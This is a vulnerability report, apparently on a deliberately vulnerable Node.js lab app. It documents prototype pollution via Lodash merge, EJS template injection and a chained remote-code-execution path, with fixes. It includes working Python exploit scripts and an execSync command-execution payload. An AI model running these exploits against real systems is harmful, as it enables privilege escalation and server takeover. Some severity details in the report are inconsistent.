Comprehensive Security Vulnerability Analysis Report

Vulnerability 1: Prototype Pollution

1. Vulnerability Name

Prototype Pollution via `_.merge()` in POST `/update-profile`

2. Location in Code

`/app.js`, line containing: `_.merge({}, data)` in the `/update-profile` endpoint

3. Why It Is Vulnerable (Technical Root Cause)

The application uses Lodash's `_.merge()` function without proper input validation. When user-supplied JSON contains special keys like `__proto__`, `constructor`, or `prototype`, these properties are recursively merged into the base object, polluting `Object.prototype`. This affects all objects in the application since JavaScript inherits from this prototype chain.

Root Cause Analysis:

- `_.merge()` in affected Lodash versions doesn't block prototype property assignments
- No input validation/sanitization of user-controlled `data` object
- Missing safe object creation with `Object.create(null)`
- Authentication bypass occurs because `user.isAdmin` checks the prototype chain

4. Proof of Concept Explanation

Attack Flow:

1. **Vector 1:** Send `{"__proto__": {"isAdmin": true}}` - Direct prototype manipulation
2. **Vector 2:** Send `{"constructor": {"prototype": {"isAdmin": true}}}` - Constructor chain manipulation
3. **Verification:** Access `/admin` endpoint - Should return 200 OK instead of 403 Forbidden
4. **Result:** `Object.prototype.isAdmin = true` affects all objects, granting admin access

5. Exploit Script

```python
import http.client, json

def post_json(conn, path, body):
    data = json.dumps(body)
    conn.request("POST", path, data, {"Content-Type":
"application/json"})
    res = conn.getresponse()
    out = res.read().decode()
    return res.status, out

conn = http.client.HTTPConnection("localhost", 3000)
print("[-] __proto__ vector")
print(post_json(conn, "/update-profile", {"__proto__":
{"isAdmin": True}}))
print("[-] constructor.prototype vector")
print(post_json(conn, "/update-profile", {"constructor":
{"prototype": {"isAdmin": True}}}))

conn.request("GET", "/admin")
res = conn.getresponse()
print("[verify] /admin status:", res.status)
print(res.read().decode())
```

6. Impact

- **Severity:** Critical (CVSS Score: 9.8)
- **Administrative Privilege Escalation:** Any authenticated user can become admin
- **Access Control Bypass:** Complete circumvention of authorization mechanisms
- **Application-Wide Contamination:** Polluted prototype affects all object instances
- **Prerequisite for Chained Attacks:** Enables SSTI and RCE exploitation

7. Fix Recommendation

Quick Fixes:

- Input sanitization function to filter dangerous properties

- Use `Object.create(null)` for safe object creation
- Validate object keys before merging
- Update Lodash to patched version

Implementation:

```
function sanitize(obj) {

  if (!obj || typeof obj !== 'object') return obj;

  const out = Array.isArray(obj) ? [] : {};

  for (const [k, v] of Object.entries(obj)) {

    if (k === '__proto__' || k === 'prototype' || k === 'constructor') continue;

    out[k] = sanitize(v);

  }

  return out;

}

app.post('/update-profile', (req, res) => {

  const clean = sanitize(req.body);

  _.merge(user, clean);

  res.json({ status: 'profile updated (sanitized)', user });

});
```

Vulnerability 2: Server-Side Template Injection (SSTI)

1. Vulnerability Name

Server-Side Template Injection (SSTI) in EJS `/admin` Template

2. Location in Code

`/app.js`, line: `res.render('admin', { user, ejs, require })` in `/admin` endpoint

3. Why It Is Vulnerable (Technical Root Cause)

The application passes dangerous Node.js globals (`require`, `ejs`) directly into the template context. When combined with unescaped template interpolation (`<%- %>`), user-controlled content can execute arbitrary JavaScript code. The EJS template engine evaluates expressions server-side with full Node.js runtime access.

Root Cause Analysis:

- `require` and `ejs` objects exposed to template context
- Missing output encoding/escaping for user-controlled variables
- Excessive privileges granted to template execution environment
- No sandboxing or context isolation for template evaluation

4. Proof of Concept Explanation

Prerequisite: Admin access (via prototype pollution or legitimate credentials)

Attack Steps:

1. **Payload Creation:** Generate OS-specific command (`ls` for Linux, `dir` for Windows)
2. **SSTI Payload:** Format as EJS template expression with `require('child_process')`
3. **Bio Injection:** Update user profile with malicious bio content
4. **Template Rendering:** Access `/admin` endpoint triggers template evaluation
5. **RCE Execution:** EJS executes the embedded JavaScript, running system commands

5. Exploit Script

```python
import http.client
import json
import platform


cmd = "dir" if platform.system().lower().startswith("win") else "ls"
payload = f"<%= require('child_process').execSync('{cmd}').toString() %>"


print("[*] Setting SSTI payload in bio...")
conn2 = http.client.HTTPConnection("localhost", 3000)
bio_payload = {"bio": payload}
conn2.request("POST", "/update-profile",
              json.dumps(bio_payload),
              {"Content-Type": "application/json"})
resp2 = conn2.getresponse()
print(f"   Set bio status: {resp2.status}")
resp2.read()
conn2.close()
```

```
print("[*] Triggering SSTI on /admin...")
conn3 = http.client.HTTPConnection("localhost", 3000)
conn3.request("GET", "/admin")
resp3 = conn3.getresponse()
print(f"   Admin page status: {resp3.status}")
print("[*] Response body (look for command output):")
print(resp3.read().decode())
conn3.close()
```

6. Impact

- **Severity:** Critical (CVSS Score: 9.8)
- **Arbitrary File Read:** Access to sensitive files (`/etc/passwd`, `/etc/shadow`, application secrets, SSH keys)
- **Remote Code Execution:** Full system compromise via `child_process` module
- **Data Exfiltration:** Steal database credentials, session tokens, API keys
- **Persistence:** Install backdoors, create new user accounts

7. Fix Recommendation

Template Fix:

<h1>Welcome Admin (Patched)</h1>

<!-- Safe: escape user bio, no render as a template -->

<p><%= user.bio %></p>

</body>

Application Fixes:

- Remove `require` and `ejs` from template context
- Use escaped output tags (`<%= %>`) instead of unescaped (`<%- %>`)
- Implement proper content sanitization
- Restrict template evaluation capabilities

Vulnerability 3: Remote Code Execution (RCE) Chain

1. Vulnerability Name

Chained Exploit: Prototype Pollution → SSTI → RCE

2. Location in Code

Multiple locations combining vulnerabilities in:

1. `/update-profile` endpoint (prototype pollution)
2. `/admin` endpoint (template injection)
3. EJS template rendering engine

3. Why It Is Vulnerable (Technical Root Cause)

The vulnerabilities chain together to create a full RCE exploit path:

1. **Prototype Pollution** bypasses authentication/authorization
2. **SSTI** provides code execution context
3. **Exposed `require` function** enables Node.js module loading
4. **No sandboxing** allows unrestricted system access

Attack Flow:

Unauthenticated User

→ Prototype Pollution (gain admin)

→ SSTI in bio field

→ require('child_process')

→ Arbitrary Command Execution

4. Proof of Concept Explanation

Complete Attack Chain:

1. **Phase 1 - Privilege Escalation:** Use prototype pollution to set `Object.prototype.isAdmin = true`
2. **Phase 2 - Payload Injection:** Insert SSTI payload into user bio field
3. **Phase 3 - RCE Execution:** Trigger template rendering to execute system commands
4. **Phase 4 - System Compromise:** Full control over server with application user privileges

5. Exploit Script

```
import http.client

import json

import platform



cmd = "dir" if platform.system().lower().startswith("win") else
"ls"

payload = f"<%=
require('child_process').execSync('{cmd}').toString() %>"





print("[*] Attempting prototype pollution...")

conn1 = http.client.HTTPConnection("localhost", 3000)

pollution_payload = {"constructor": {"prototype": {"isAdmin":
True}}}

conn1.request("POST", "/update-profile",

              json.dumps(pollution_payload),

              {"Content-Type": "application/json"})

resp1 = conn1.getresponse()

print(f"   Pollution status: {resp1.status}")
```

```
resp1.read()

conn1.close()


print("[*] Setting SSTI payload in bio...")

conn2 = http.client.HTTPConnection("localhost", 3000)

bio_payload = {"bio": payload}

conn2.request("POST", "/update-profile",

              json.dumps(bio_payload),

              {"Content-Type": "application/json"})

resp2 = conn2.getresponse()

print(f"    Set bio status: {resp2.status}")

resp2.read()

conn2.close()


print("[*] Triggering SSTI on /admin...")

conn3 = http.client.HTTPConnection("localhost", 3000)

conn3.request("GET", "/admin")

resp3 = conn3.getresponse()

print(f"    Admin page status: {resp3.status}")
print("[*] Response body (look for command output):")

print(resp3.read().decode())

conn3.close()
```

6. Impact

- **Severity:** Critical (CVSS Score: 10.0)
- **Full System Compromise:** Complete control over server
- **Data Breach:** Access to all application and system data
- **Lateral Movement:** Pivot to other systems in network
- **Persistence:** Install rootkits, backdoors, cryptocurrency miners
- **Business Impact:** Financial loss, reputational damage, regulatory penalties

7. Fix Recommendation

Comprehensive Fix List:

1. **Input Sanitization:** Filter `__proto__`, `prototype`, `constructor` from user input
2. **Safe Object Creation:** Use `Object.create(null)` for merge targets
3. **Template Security:** Remove `require` and `ejs` from template context
4. **Output Encoding:** Always use escaped output tags (`<%= %>`)
5. **Content Validation:** Sanitize user-controlled fields before rendering
6. **Dependency Updates:** Upgrade to patched Lodash version
7. **Access Control:** Implement proper session-based authorization
8. **Logging & Monitoring:** Track prototype pollution attempts and SSTI payloads

Summary of Critical Findings

Vulnerability	CVSS Score	Exploit Complexity	Impact	Required Privileges
Prototype Pollution	9.8 (Critical)	Low	Authentication Bypass	Authenticated User
SSTI	9.8 (Critical)	Medium	RCE/File Read	Admin (via PP)
Chained RCE	10.0 (Critical)	High	Full System Compromise	Unauthenticated

Immediate Fix Checklist

Prototype Pollution Fixes:

- [ ] Implement input sanitization function
- [ ] Filter `__proto__`, `constructor`, `prototype` properties
- [ ] Use `Object.create(null)` for safe objects
- [ ] Upgrade Lodash to latest version
- [ ] Implement proper session-based authorization

SSTI/RCE Fixes:

- [ ] Remove `require` and `ejs` from template context
- [ ] Use escaped output tags (`<%= %>`) exclusively
- [ ] Implement content sanitization for user fields
- [ ] Restrict template evaluation capabilities
- [ ] Add Content Security Policy headers

General Security Hardening:

- [ ] Implement rate limiting
- [ ] Add security logging and monitoring
- [ ] Conduct security code review
- [ ] Perform penetration testing
- [ ] Establish incident response procedures